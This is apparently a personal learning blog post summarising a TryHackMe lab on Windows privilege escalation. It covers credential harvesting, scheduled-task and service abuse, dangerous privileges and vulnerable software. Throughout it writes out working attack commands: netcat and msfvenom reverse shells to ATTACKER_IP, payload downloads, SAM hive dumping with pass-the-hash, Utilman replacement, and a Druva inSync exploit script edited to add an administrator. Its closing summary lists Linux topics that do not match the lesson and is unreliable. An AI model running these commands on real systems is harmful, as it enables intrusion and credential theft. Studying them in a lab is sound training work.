During a penetration test, often we find Windows hosts with an unprivileged user that we can elevate privileges from, using this foothold on the host to escalate to an administration account.
Let’s escalate our knowledge in our daily #FromZeroToHacker challenge.
Table of contents |
Introduction |
What have I learnt today? |
Stats |
Resources |
Introduction to Windows privilege escalation
During a penetration test, often we find Windows hosts with an unprivileged user that we can elevate privileges from, using this foothold on the host to escalate to an administration account.
Let’s learn the fundamentals of Windows privilege escalation techniques and how to apply them and when.
What have I learnt today?
Windows Privilege Escalation
Privilege escalation consists of using one user to gain access to another user. Ideally, this new user would have administrative privileges, but sometimes we may need to move to another unprivileged user before moving to a user with admin privileges.
Rarely, we may find credentials in text files or spreadsheets, but normally we need to abuse a vulnerability such as:
- Misconfigurations on Windows services or scheduled tasks.
- Excessive privileges assigned to our account.
- Vulnerable software.
- Missing Windows security patches.
Windows Users
There are two types of Windows users: Administrators, with most privileges, and Standard users, with few privileges and only can perform limited tasks.
There are also a few built-in accounts that use other types of users to perform internal automated tasks:
- SYSTEM/LocalSystem: Used by the OS to perform internal tasks. Has full access to all files and resources. Even more than administrators.
- Local Service: Default account used to run Windows services with minimum privileges.
- Network Service: Default account used to run Windows services with minimum privileges.
Harvesting Passwords from Usual Spots
We can steal users’ credentials from plaintext files or stored by some software like browsers or email clients.
Unattended Windows Installations
When installing Windows on a large number of hosts in an organisation, sometimes admins use Windows Deployment Services, which allows for a single OS image to be deployed to several hosts. These installations are referred to as unattended installations, as they don’t require user interaction, and need an administration account to perform the initial setup, which may be stored in:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
These files have this structure:
<Credentials> <Username>Administrator</Username> <Domain>thm.local</Domain> <Password>MyPassword123</Password> </Credentials>
Powershell History
Windows has a history feature much like the one in Linux. Previously used commands are stored here and we can read them with:
more C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Saved Windows credentials
Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. This will list saved credentials: cmdkey /list
.
While we can’t see any passwords, if we notice any credentials that are worth trying, we can use the runas /savecred /user:<USERNAME> cmd.exe
.
IIS Configuration
Internet Information Services (or IIS) is the default web server on Windows, and its configuration is stored in a file called web.config that we may find in:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
We can find the database connection info on the file with:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Retrieve credentials from Software: PuTTY
PuTTY is an SSH client found on Windows, and the connection parameters (IP, user, etc) are stored for later use.
To retrieve the stored proxy credentials, we can search for them with:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Other quick wins
Sometimes, a misconfiguration can allow you to obtain higher privileged user access and even administrator access!
If the previous method didn’t work, you can try these.
Scheduled tasks
Like the cron jobs in Linux, we can look into scheduled tasks (schtasks
) to see if it its using a binary we can modify: schtasks /query /tn <TASK_NAME> /fo list /v
Watch out for the Task to run and Run as user parameters.
If we can modify/overwrite the Task to run executable, we can control what gets executed for the taskusr1 user, resulting in privilege escalation.
Check the file permissions on the executable with icacls <ROUTE>\<FILENAME>
The BUILTIN\USERS group has full access (F) over the task’s binary. This means that we can modify the .bat file and insert any payload we like. Let’s change the .bat file to spawn a reverse shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
Then, we start a listener on our local machine with nc -lvp 4444
.
The next time the scheduled tasks run, we should receive a reverse shell with taskusr1 privileges.
AlwaysInstallElevated
Windows installer files (.msi files) are used to install applications. They run with the privilege level of the user that starts it, and this sometimes means privileged users.
But these files can be configured to run with higher privileges from ANY user account. First, set two registry values:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Then, use msfvenom to generate a malicious .msi file:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f msi -o malicious.msi
As this is a reverse shell, run Metasploit and then the Handler module configured accordingly to receive a reverse shell. Transfer the file, and run the installer with the following command to receive the reverse shell:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Abusing service misconfigurations
Windows services
Windows services are managed by the SCM (Service Control Manager). The SCM manages the state of services, and each service has an associated executable that will be run by the SCM (Not any executable can be started as a service independently but by the SCM). Each service has designated a user account under which the service will run.
The SERVICE_START_NAME is the account used to run the service, and the BINARY_PATH_NAME the associated executable.
Each service has a DACL (Discretionary Access Control List), which indicates who can start, stop, pause, query status, query configuration or reconfigure the service.
All the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\
.
A subkey exists for every service in the system.
If compare this image with the terminal output, we can see that the ImagePath has the executable value (BINARY_PATH_NAME on the terminal) and the account used to start the service on the ObjectName (SERVICE_START_NAME). Only admins can modify the registry.
Insecure permissions on service executable
A service with weak permissions can be exploited to modify or replace it. Let’s see an example by querying sc qc WindowsScheduler
:
The vulnerable executable is in C:\Progra~2\System~1\WService.exe
and the user associated is svcuser1. Let’s check their permissions.
The Everyone group has Modify permissions (M). We can overwrite it with any payload we fancy. Let’s generate an exe-service payload using msfvenom and serve it through a Python web server:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe python3 -m http.server 9000
Now let’s download it:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
Once the payload is downloaded, we replace the service executable with our payload:
cd C:\PROGRA~2\SYSTEM~1\ move WService.exe WService.exe.bkp move C:\Users\thm-unpriv\rev-svc.exe WService.exe icacls WService.exe /grant Everyone:F
Create a listener waiting for a reverse shell with nc -lvp 4445
and restart the service:
sc stop windowsscheduler sc start windowsscheduler
Unquoted Service Paths
Sadly, not always a service would let us replace executables as the last trick. But there is an obscure feature: When working with Windows services, sometimes a service is unquoted (not quoted properly).
Since there are spaces on the BINARY_PATH_NAME, the command becomes ambiguous and the SCM doesn’t know what are you trying to execute:
Spaces are used as argument separators unless they are quoted. SCM will try to run :
- Disk.exe with Sorter and Enterprise\bin\disksrs.exe as arguments.
- Disk Sorter.exe with Enterprise\bin\disksrs.exe as argument.
- Disk Sorter Enterprise\bin\disksrs.exe with no arguments.
If we create any of the executables, we can force the service to run OUR executable.
Most services executables will be installed under C:\Program Files or C:\Program Files (x86) by default, which isn’t writable for underprivileged users. But there are exceptions:
- Some installers change the permissions on the installed folders, making the services vulnerable.
- An admin might decide to install the service binaries in a non-default path, that may be writable.
In our case, the admin installed the Disk sorter binaries on the C:\MyPrograms folder. Let’s check its permissions:
The BUILTIN\Users group has AD and WD privileges, allowing the user to create subdirectories and files, respectively.
As always, let’s create a payload and open a listener:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT -f exe-service -o rev-svc2.exe nc -lvp 4446
Download it and move the code to the C:\MyPrograms as a Disk.exe file.
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Insecure Service Permissions
Even if the DACL (Discretionary Access Control List) is well configured, and the service’s binary path is properly quoted, if the service DACL allows you to modify the configuration of a service, we can reconfigure the service, making it point to ANY executable you need and run with any account you prefer. Including SYSTEM itself.
To check for a service DACL, we can use Accesschk from the Sysinternals suite:
Here we can see that BUILTIN\Users group has the SERVICE_ALL_ACCESS permission, which means that any user can reconfigure the service.
Now, time for a cheeky poisoned .exe:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f exe-service -o rev-svc3.exe nc -lvp <LOCAL_PORT>
Serve the file, open a listener and download it with curl
or wget
on the hacked machine.
Remember to grant permission to the executable:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
Now, change the service’s associated executable and account:
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Restart the service:
sc stop THMService sc start THMService
And now you are admin!
Abusing dangerous privileges
Windows privileges
Privileges are rights that an account has to perform specific tasks, from shutting down the machine up to bypass DACL-based access controls. Check your assigned privileges with whoami /priv
.
Here is a list of available privileges on Windows.
SeBackup/SeRestore
The SeBackup and SeRestore privileges allow users to read and write any file in the system, ignoring DACL. If we can read and write any file, we can use this to escalate privileges on the system. Here, for example, we are going to copy the SAM and SYSTEM registry hives to extract the admin password hash.
Backup the SAM and SYSTEM hashes:
reg save hklm\system C:\Users\THMBackup\system.hive reg save hklm\sam C:\Users\THMBackup\sam.hive
This will create a couple of files with the registry hives content. To copy them from the hacked machine to the local one, let’s create an SMB (Server Message Block) server with impacket’s smbserver.py script:
mkdir share python3.9 /opt/impacket/examples/smbserver.py -smb2support -username <TARGET_USERNAME> -password <TARGET_PASSWORD> public share
Once this is running, a connection has been created from your local Linux to the remote Windows machine. From the latter, send the copies back to your Linux machine:
copy C:\Users\THMBackup\sam.hive \\<LOCAL_IP>\public\ copy C:\Users\THMBackup\system.hive \\<LOCAL_IP>\public\
Use impacket to retrieve the user’s password hashes (Beware: python 3 is not enough, you should use Python 3.9 or you’ll get an error):
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Do you see that Administrator and Guest hashes are in plain text? Let’s perform a Pass-the-hash (When an attacker steals a hashed user credential, using it to create a session) attack to gain access to the target machine with SYSTEM privileges:
python3.9 /opt/impacket/examples/psexec.py -hashes <ADMIN_HASH> administrator@<TARGET_IP>
SeTakeOwnership
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, files and registry keys included. And of course, search for a service running as SYSTEM and take ownership of the service’s executable. First, let’s check the SeTakeOwnership privilege with whoami /priv
.
Utilman is a built-in Windows application that provides Ease of Access options during the lock screen. Let’s abuse it.
As Utilman runs with SYSTEM privileges, we can replace the original binary for our payload to gain SYSTEM privileges. Let’s take ownership of the utilman.exe file:
takeown /f C:\Windows\System32\Utilman.exe
Being the owner of the file means that we are the owner of the file, not that we have privileges over it. But being the owner means that we can assign ourselves any privileges we need. Let’s give ourselves full permissions:
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
Now, replace utilman.exe with a copy of cmd.exe
copy cmd.exe utilman.exe
Good. Now when we call a service that uses utilman.exe, it will run the terminal but with full admin privileges. Lock your screen from the start button, then click the Easy of Access button on the bottom right, second icon. A terminal with SYSTEM privileges will spawn.
SeImpersonate/SeAssignPrimaryToken
These privileges allow a process to impersonate other users and act like themselves, spawning a process or thread under the security context of another user.
Let’s use an FTP server as an example. Without impersonation, if Anna logs into the FTP server and tries to access her files, the FTP service will her token:
As attackers, if we take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user. In Windows systems, LOCAL SERVICE and NETWORK SERVICE ACCOUNTS have such privileges. Internet Information Services (IIS) will also create a similar default account called iis apppool\defaulttapppool for web applications.
To elevate privileges, we need to:
- Spawn a process so the users can connect and authenticate to it for impersonation to occur.
- Find a way to force privileged users to connect and authenticate to the spawned malicious process.
We will use RogueWinRM exploit to fulfil both conditions.
Let’s say we have a compromised website running on IIS and that we have planted a web shell. We can use the web shell to check for the assigned privileges of the compromised account, and confirm we hold both privileges of interested:
We are going to use the RogueWinRM exploit, that whenever a user starts the BITS service, automatically creates a connection to port 5985 (typically used for WinRM service: A port that exposes a Powershell console to be used remotely) using SYSTEM privileges.
If the WinRM service isn’t running on the target, an attacker can start a fake WinRM service to catch authentication attempts. With SeImpersonate privileges, we can execute any command on behalf of the connecting SYSTEM-privileged user.
Let’s start a Netcat listener:
nc -lvp 4442
Then, use the web shell to trigger the RogueWinRM exploit:
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <LOCAL_IP> 4442"
The -p
parameter specifies the executable to be run, the -a
parameter is used to pass arguments to the executable.
Bingo.
Abusing vulnerable software
Unpatched software
Organisations and users may not update the software, leaving vulnerabilities open to ripe (Mandatory stop right now to update your OS and software). We can dump information about the installed software with:
wmic <PRODUCT> get <NAME/VERSION/SERIALNUMBER/VENDOR/etc>
As always, remembering all the commands is hard, so here is a wmic cheat sheet for you.
The wmic command
may not return all installed programs, so also check desktop shortcuts, available services, etc.
Once we have enough product version information, check our friends exploit-db, packet storm or the old Google.
Case study: Druva inSync 6.6.3
Long story short: Druva inSync 6.6.3 is vulnerable to privilege escalation, as it runs an RPC (Remote Procedure Call, a mechanism that allows a process to expose functions/procedures over the internet) server on port 6064 with SYSTEM privileges.
This, allowed anyone to request the execution of any command, with SYSTEM privileges.
When they noticed, they patched (well…) it by forcing commands to start with the string C:\ProgramData\Druva\inSync4\
, but you know how it is. You can run the terminal with SYSTEM privileges by using C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe
bypassing any check.
To create an exploit, first, we need to understand how to talk to port 6064:
- The first packet is a simple Hello packet with a fixed string.
- The second packet indicates that we want to execute procedure number 5 (the vulnerable one).
- The last two packets are used to send the length of the command and the command string itself.
Published by Matteo Malvica, this exploit can be used in our target machine to elevate privileges:
$ErrorActionPreference = "Stop" $cmd = "net user pwnd /add" $s = New-Object System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp ) $s.Connect("127.0.0.1", 6064) $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]") $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0") $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd"); $length = [System.BitConverter]::GetBytes($command.Length); $s.Send($header) $s.Send($rpcType) $s.Send($length) $s.Send($command)
We can just open a Powershell terminal and paste the exploit directly to execute it.
Read the code: The exploit’s default payload, specified in the $cmd
variable will create a user named pwnd
, but won’t assign him admin privileges. We may need to change the payload for something more useful (modify the 3rd line of the code with this one):
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
This will create the user pwnd
with an assigned password and add it to the administrator’s group.
If the exploit is successful, we should be able to run the following command to verify that the user pwnd
exists, and it is part of the administrators’ group:
Now, we can open the CMD terminal with our new user, with its new and flashy administrator privileges:
Tools of the trade
Let’s be honest: Time is very important, and everything we can automate, we should automate. I’m kidding: I’m lazy and there are tools that can conduct system enumeration automatically. Let’s see them.
Automated tools, while they do everything by themselves, can sometimes miss a privilege escalation vector.
WinPEAS
WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths.
WinPEAS runs commands similar to the ones we just listed, printing their output once finished. This output can be lengthy, and sometimes difficult to read, so we can instead pipe the result to a .txt file with winpeas.exe > outputfile.txt
.
PrivescCheck
PrivescCheck is a PowerShell script that searches common privilege escalation on the target system. An alternative to WinPEAS.
WES-NG: Windows Exploit Suggester – Next Generation
What a name!
Some exploit-suggesting scripts such as WinPEAS require to be uploaded to the target machine to be run. This may be loud and may cause that antivirus software to detect and delete them.
An alternative is WES-NG, which can be run on our attacking (local) machine.
We can download WES-NG here, which is just a Python script, and we can run it with wes.py --update
. Once the database is uploaded, we run the wes.py systeminfo.txt
command.
Metasploit
You already know Metasploit. If not, check the link.
Already installed on Kali Linux, we can use multi/recon/local_exploit_suggester
module after having a Meterpreter shell on the target system to list vulnerabilities that may elevate our privileges on the target system.
Summary
P.S: This lesson took me 3 days to finish. It was pretty long, but I also noticed one thing: The whole path has MEDIUM difficulty. I just started Cyber Security less than 2 months ago. I noticed an increase in the difficulty by a lot. But finally, I’m done with this lesson.
Today we have learn a lot of new things, let’s enumerate them:
- Kernel exploits which we can find in Exploit-DB and googling.
- Executing commands with root privileges or sudo.
- Using files that have SUID privileges.
- Process with Capabilities.
- Manipulating Cron jobs.
- Adding routes to $PATH to execute an exploit.
- Mounting NFS vulnerable directories to pass exploits.
Stats
From 75.292th to 72.336th.
Here is also the Skill Matrix:
Resources
Path: Jr Penetration tester
Privilege Escalation
TryHackMe: Windows Privilege Escalation
Other resources
Cron jobs
Accesschk
List of available privileges on Windows
Pass-the-hash attack
wmic cheat sheet
Exploit-db
packet storm
Google
WinPEAS
PrivescCheck
WES-NG